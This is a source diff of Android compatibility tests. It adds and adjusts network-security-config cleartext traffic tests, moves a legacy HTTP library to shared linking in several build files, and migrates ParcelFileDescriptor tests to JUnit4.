+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases">
+  <application android:networkSecurityConfig="@xml/network_security_config">
+      <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
+  </application>
+
+  <uses-permission android:name="android.permission.INTERNET" />
+  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                   android:targetPackage="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases"
+                   android:label="">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
new file mode 100644
index 0000000..8339a23
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS CtsNetSecConfigPrePCleartextTraffic test cases">
+    <option name="config-descriptor:metadata" key="component" value="security" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsNetSecConfigPrePCleartextTrafficTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.security.net.config.cts.CtsNetSecConfigPrePCleartextTrafficTestCases" />
+        <option name="runtime-hint" value="8m10s" />
+    </test>
+</configuration>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/res/xml/network_security_config.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/res/xml/network_security_config.xml
new file mode 100644
index 0000000..987b178
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/res/xml/network_security_config.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<network-security-config>
+  <domain-config cleartextTrafficPermitted="false">
+    <domain includeSubdomains="true">android.com</domain>
+    <domain-config cleartextTrafficPermitted="true">
+      <domain>developer.android.com</domain>
+    </domain-config>
+  </domain-config>
+</network-security-config>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/src/android/security/net/config/cts/CleartextPermittedTest.java b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/src/android/security/net/config/cts/CleartextPermittedTest.java
new file mode 100644
index 0000000..b4b400c
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/src/android/security/net/config/cts/CleartextPermittedTest.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.net.config.cts;
+
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import javax.net.ssl.X509TrustManager;
+import junit.framework.TestCase;
+
+public class CleartextPermittedTest extends TestCase {
+    public void testDefaultAllowed() throws Exception {
+        TestUtils.assertCleartextConnectionSucceeds("example.com", 80);
+        TestUtils.assertTlsConnectionSucceeds("example.com", 443);
+    }
+
+    public void testCleartextBlocked() throws Exception {
+        TestUtils.assertCleartextConnectionFails("android.com", 80);
+        TestUtils.assertTlsConnectionSucceeds("android.com", 443);
+        // subdomains of android.com are also disallowed.
+        TestUtils.assertCleartextConnectionFails("www.android.com", 80);
+        TestUtils.assertTlsConnectionSucceeds("www.android.com", 443);
+    }
+
+    public void testNestedCleartextPermitted() throws Exception {
+        // developer.android.com is explicitly permitted.
+        TestUtils.assertCleartextConnectionSucceeds("developer.android.com", 80);
+        TestUtils.assertTlsConnectionSucceeds("developer.android.com", 443);
+    }
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
index 927374c..278d634 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/Android.mk
@@ -20,7 +20,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
index b387ffa..8ee5482 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/AndroidManifest.xml
@@ -20,6 +20,7 @@
         package="android.security.net.config.cts.CtsNetSecConfigCleartextTrafficTestCases">
   <application android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml
index 987b178..6d41bba 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/res/xml/network_security_config.xml
@@ -1,8 +1,8 @@
 <?xml version="1.0" encoding="utf-8"?>
 <network-security-config>
-  <domain-config cleartextTrafficPermitted="false">
+  <domain-config cleartextTrafficPermitted="true">
     <domain includeSubdomains="true">android.com</domain>
-    <domain-config cleartextTrafficPermitted="true">
+    <domain-config cleartextTrafficPermitted="false">
       <domain>developer.android.com</domain>
     </domain-config>
   </domain-config>
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java
index db8e40f..9592178 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/src/android/security/net/config/cts/CleartextPermittedTest.java
@@ -22,22 +22,22 @@
 import junit.framework.TestCase;
 
 public class CleartextPermittedTest extends TestCase {
-    public void testDefaultAllowed() throws Exception {
-        TestUtils.assertCleartextConnectionSucceeds("example.com", 80);
+    public void testDefaultDenied() throws Exception {
+        TestUtils.assertCleartextConnectionFails("example.com", 80);
         TestUtils.assertTlsConnectionSucceeds("example.com", 443);
     }
 
-    public void testCleartextBlocked() throws Exception {
-        TestUtils.assertCleartextConnectionFails("android.com", 80);
+    public void testCleartextAllowed() throws Exception {
+        TestUtils.assertCleartextConnectionSucceeds("android.com", 80);
         TestUtils.assertTlsConnectionSucceeds("android.com", 443);
         // subdomains of android.com are also disallowed.
-        TestUtils.assertCleartextConnectionFails("www.android.com", 80);
+        TestUtils.assertCleartextConnectionSucceeds("www.android.com", 80);
         TestUtils.assertTlsConnectionSucceeds("www.android.com", 443);
     }
 
-    public void testNestedCleartextPermitted() throws Exception {
-        // developer.android.com is explicitly permitted.
-        TestUtils.assertCleartextConnectionSucceeds("developer.android.com", 80);
+    public void testNestedCleartextDenied() throws Exception {
+        // developer.android.com is explicitly denied.
+        TestUtils.assertCleartextConnectionFails("developer.android.com", 80);
         TestUtils.assertTlsConnectionSucceeds("developer.android.com", 443);
     }
 }
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
index aa0eefd..fd5f419 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/Android.mk
@@ -20,7 +20,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
@@ -31,4 +33,4 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := current
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
index 3f15f81..28bba5b 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/AndroidManifest.xml
@@ -21,6 +21,7 @@
   <application android:debuggable="false"
                android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
index be9174e..d808928 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/Android.mk
@@ -20,7 +20,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
index 6d98702..b667271 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/AndroidManifest.xml
@@ -21,6 +21,7 @@
   <application android:debuggable="true"
                android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
index 84e72b0..54727c6 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/Android.mk
@@ -22,10 +22,11 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
-    org.apache.http.legacy \
     android-support-test \
     legacy-android-test
 
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
index e18ff4d..cc67cca 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/AndroidManifest.xml
@@ -20,6 +20,7 @@
         package="android.security.net.config.cts.CtsNetSecConfigDownloadManagerTestCases">
   <application android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
index 4764cab..3d66c53 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.mk
@@ -20,7 +20,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
index b3b32b5..bf6e369 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/AndroidManifest.xml
@@ -20,6 +20,7 @@
         package="android.security.net.config.cts.CtsNetSecConfigInvalidPinTestCases">
   <application android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
index 5448f34..e96ae6a 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.mk
@@ -20,7 +20,9 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner org.apache.http.legacy android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
index 1790150..75247d3 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/AndroidManifest.xml
@@ -20,6 +20,7 @@
         package="android.security.net.config.cts.CtsNetSecConfigNestedDomainConfigTestCases">
   <application android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
index 924f393..4e7efdeb 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.mk
@@ -22,10 +22,11 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
-    org.apache.http.legacy \
     android-support-test \
     legacy-android-test
 
+LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SRC_FILES += $(call all-java-files-under, ../src)
 
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
index 46787160..4884458 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/AndroidManifest.xml
@@ -20,6 +20,7 @@
         package="android.security.net.config.cts.CtsNetSecConfigResourcesSrcTestCases">
   <application android:networkSecurityConfig="@xml/network_security_config">
       <uses-library android:name="android.test.runner"/>
+      <uses-library android:name="org.apache.http.legacy" />
   </application>
 
   <uses-permission android:name="android.permission.INTERNET" />
diff --git a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
index 4225de0..24b0f6a 100644
--- a/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ b/tests/tests/opengl/src/android/opengl/cts/OpenGlEsVersionTest.java
@@ -191,7 +191,7 @@
             "EGL_KHR_wait_sync",
         };
 
-        for (int i = 0; i < requiredList.length; ++i) {
+        for (int i = 0; i < requiredEglList.length; ++i) {
             assertTrue("Required EGL extension for VR high-performance is missing: " +
                 requiredEglList[i], hasExtension(extensions, requiredEglList[i]));
         }
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 1aa46cc..d826a72 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -28,6 +28,7 @@
     android-support-test \
     compatibility-device-util \
     ctstestrunner \
+    truth-prebuilt \
     guava \
     junit \
     legacy-android-test
diff --git a/tests/tests/os/src/android/os/cts/CtsRemoteService.java b/tests/tests/os/src/android/os/cts/CtsRemoteService.java
index daae49e..a0d5974 100644
--- a/tests/tests/os/src/android/os/cts/CtsRemoteService.java
+++ b/tests/tests/os/src/android/os/cts/CtsRemoteService.java
@@ -20,8 +20,10 @@
 import android.content.Intent;
 import android.os.IBinder;
 import android.os.Process;
+import java.io.File;
+import java.io.IOException;
 
-public class CtsRemoteService extends Service{
+public class CtsRemoteService extends Service {
 
     @Override
     public void onCreate() {
@@ -41,6 +43,15 @@
         public String getTimeZoneID() {
             return java.util.TimeZone.getDefault().getID();
         }
+
+        public boolean performDiskWrite() {
+            try {
+                File tempFile = File.createTempFile("foo", "bar");
+                return tempFile.delete();
+            } catch (IOException exception) {
+                return false;
+            }
+        }
     };
 
     @Override
@@ -50,5 +61,4 @@
         }
         return null;
     }
-
 }
diff --git a/tests/tests/os/src/android/os/cts/ISecondary.aidl b/tests/tests/os/src/android/os/cts/ISecondary.aidl
index 2c60149..183e2d5 100644
--- a/tests/tests/os/src/android/os/cts/ISecondary.aidl
+++ b/tests/tests/os/src/android/os/cts/ISecondary.aidl
@@ -23,4 +23,6 @@
     long getElapsedCpuTime();
 
     String getTimeZoneID();
+
+    boolean performDiskWrite();
 }
diff --git a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
index 4679a99..38651d7 100644
--- a/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelFileDescriptorTest.java
@@ -16,6 +16,13 @@
 
 package android.os.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.os.Handler;
 import android.os.Looper;
@@ -24,13 +31,20 @@
 import android.os.ParcelFileDescriptor.AutoCloseInputStream;
 import android.os.Parcelable;
 import android.os.cts.ParcelFileDescriptorPeer.FutureCloseListener;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
 import android.test.MoreAsserts;
 
 import com.google.common.util.concurrent.AbstractFuture;
 
 import junit.framework.ComparisonFailure;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
@@ -43,9 +57,15 @@
 import java.net.Socket;
 import java.util.concurrent.TimeUnit;
 
-public class ParcelFileDescriptorTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class ParcelFileDescriptorTest {
     private static final long DURATION = 100l;
 
+    private Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+
+    @Test
     public void testConstructorAndOpen() throws Exception {
         ParcelFileDescriptor tempFile = makeParcelFileDescriptor(getContext());
 
@@ -73,6 +93,7 @@
         }
     }
 
+    @Test
     public void testFromSocket() throws Throwable {
         final int PORT = 12222;
         final int DATA = 1;
@@ -111,6 +132,7 @@
         done.get(5, TimeUnit.SECONDS);
     }
 
+    @Test
     public void testFromData() throws IOException {
         assertNull(ParcelFileDescriptor.fromData(null, null));
         byte[] data = new byte[] { 0 };
@@ -143,6 +165,7 @@
         }
     }
 
+    @Test
     public void testFromDataSkip() throws IOException {
         byte[] data = new byte[] { 40, 41, 42, 43, 44, 45, 46 };
         ParcelFileDescriptor pfd = ParcelFileDescriptor.fromData(data, null);
@@ -164,11 +187,13 @@
         }
     }
 
+    @Test
     public void testToString() {
         ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
         assertNotNull(pfd.toString());
     }
 
+    @Test
     public void testWriteToParcel() throws Exception {
         ParcelFileDescriptor pf = makeParcelFileDescriptor(getContext());
 
@@ -188,6 +213,7 @@
         }
     }
 
+    @Test
     public void testClose() throws Exception {
         ParcelFileDescriptor pf = makeParcelFileDescriptor(getContext());
         AutoCloseInputStream in1 = new AutoCloseInputStream(pf);
@@ -210,11 +236,13 @@
         }
     }
 
+    @Test
     public void testGetStatSize() throws Exception {
         ParcelFileDescriptor pf = makeParcelFileDescriptor(getContext());
         assertTrue(pf.getStatSize() >= 0);
     }
 
+    @Test
     public void testGetFileDescriptor() {
         ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
         assertNotNull(pfd.getFileDescriptor());
@@ -223,6 +251,7 @@
         assertSame(pfd.getFileDescriptor(), p.getFileDescriptor());
     }
 
+    @Test
     public void testDescribeContents() {
         ParcelFileDescriptor pfd = ParcelFileDescriptor.fromSocket(new Socket());
         assertTrue((Parcelable.CONTENTS_FILE_DESCRIPTOR & pfd.describeContents()) != 0);
@@ -247,6 +276,7 @@
         return new FileInputStream(pfd.getFileDescriptor()).read();
     }
 
+    @Test
     public void testPipeNormal() throws Exception {
         final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createReliablePipe();
         final ParcelFileDescriptor red = pipe[0];
@@ -262,6 +292,7 @@
 
     // Reading should be done via AutoCloseInputStream if possible, rather than
     // recreating a FileInputStream from a raw FD, what's done in read(PFD).
+    @Test
     public void testPipeError_Discouraged() throws Exception {
         final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createReliablePipe();
         final ParcelFileDescriptor red = pipe[0];
@@ -281,6 +312,7 @@
         }
     }
 
+    @Test
     public void testPipeError() throws Exception {
         final ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createReliablePipe();
         final ParcelFileDescriptor red = pipe[0];
@@ -298,6 +330,7 @@
         }
     }
 
+    @Test
     public void testFileNormal() throws Exception {
         final Handler handler = new Handler(Looper.getMainLooper());
         final FutureCloseListener listener = new FutureCloseListener();
@@ -312,6 +345,7 @@
         assertEquals(null, listener.get());
     }
 
+    @Test
     public void testFileError() throws Exception {
         final Handler handler = new Handler(Looper.getMainLooper());
         final FutureCloseListener listener = new FutureCloseListener();
@@ -326,6 +360,7 @@
         assertContains("OMG BANANAS", listener.get().getMessage());
     }
 
+    @Test
     public void testFileDetach() throws Exception {
         final Handler handler = new Handler(Looper.getMainLooper());
         final FutureCloseListener listener = new FutureCloseListener();
@@ -339,6 +374,7 @@
         assertContains("DETACHED", listener.get().getMessage());
     }
 
+    @Test
     public void testSocketErrorAfterClose() throws Exception {
         final ParcelFileDescriptor[] pair = ParcelFileDescriptor.createReliableSocketPair();
         final ParcelFileDescriptor red = pair[0];
@@ -361,6 +397,7 @@
         blue.checkError();
     }
 
+    @Test
     public void testSocketMultipleCheck() throws Exception {
         final ParcelFileDescriptor[] pair = ParcelFileDescriptor.createReliableSocketPair();
         final ParcelFileDescriptor red = pair[0];
@@ -382,6 +419,7 @@
     }
 
     // http://b/21578056
+    @Test
     public void testFileNamesWithNonBmpChars() throws Exception {
         final File file = File.createTempFile("treble_clef_\ud834\udd1e", ".tmp");
         final ParcelFileDescriptor pfd = ParcelFileDescriptor.open(file,
@@ -390,6 +428,57 @@
         pfd.close();
     }
 
+    @Test
+    public void testCheckFinalizerBehavior() throws Exception {
+        final Runtime runtime = Runtime.getRuntime();
+        ParcelFileDescriptor pfd = makeParcelFileDescriptor(getContext());
+        assertTrue(checkIsValid(pfd.getFileDescriptor()));
+
+        ParcelFileDescriptor wrappedPfd = new ParcelFileDescriptor(pfd);
+        assertTrue(checkIsValid(wrappedPfd.getFileDescriptor()));
+
+        FileDescriptor fd = pfd.getFileDescriptor();
+        int rawFd = pfd.getFd();
+        pfd = null;
+        assertNull(pfd); // To keep tools happy - yes we are using the write to null
+        runtime.gc(); runtime.runFinalization();
+        assertTrue("Wrapped PFD failed to hold reference",
+                checkIsValid(wrappedPfd.getFileDescriptor()));
+        assertTrue("FileDescriptor failed to hold reference", checkIsValid(fd));
+
+        wrappedPfd = null;
+        assertNull(wrappedPfd); // To keep tools happy - yes we are using the write to null
+        runtime.gc(); runtime.runFinalization();
+        // TODO: Enable this once b/65027998 is fixed
+        //assertTrue("FileDescriptor failed to hold reference", checkIsValid(fd));
+
+        fd = null;
+        assertNull(fd); // To keep tools happy - yes we are using the write to null
+        runtime.gc(); runtime.runFinalization();
+
+        try {
+            ParcelFileDescriptor.fromFd(rawFd);
+            fail("FD leaked");
+        } catch (IOException ex) {
+            // Success
+        }
+    }
+
+    boolean checkIsValid(FileDescriptor fd) {
+        try {
+            Os.fstat(fd);
+            return true;
+        } catch (ErrnoException e) {
+            if (e.errno == OsConstants.EBADF) {
+                return false;
+            } else {
+                fail(e.getMessage());
+                // not reached
+                return false;
+            }
+        }
+    }
+
     static ParcelFileDescriptor makeParcelFileDescriptor(Context con) throws Exception {
         final String fileName = "testParcelFileDescriptor";
 
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 21730c6..7c0d320 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -16,340 +16,472 @@
 
 package android.os.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
 import android.net.TrafficStats;
 import android.net.Uri;
+import android.os.IBinder;
+import android.os.RemoteException;
 import android.os.StrictMode;
-import android.os.StrictMode.ViolationListener;
+import android.os.StrictMode.ThreadPolicy.Builder;
+import android.os.StrictMode.ViolationInfo;
+import android.os.strictmode.UntaggedSocketViolation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
 import android.system.Os;
 import android.system.OsConstants;
-import android.test.InstrumentationTestCase;
 import android.util.Log;
-
 import java.io.File;
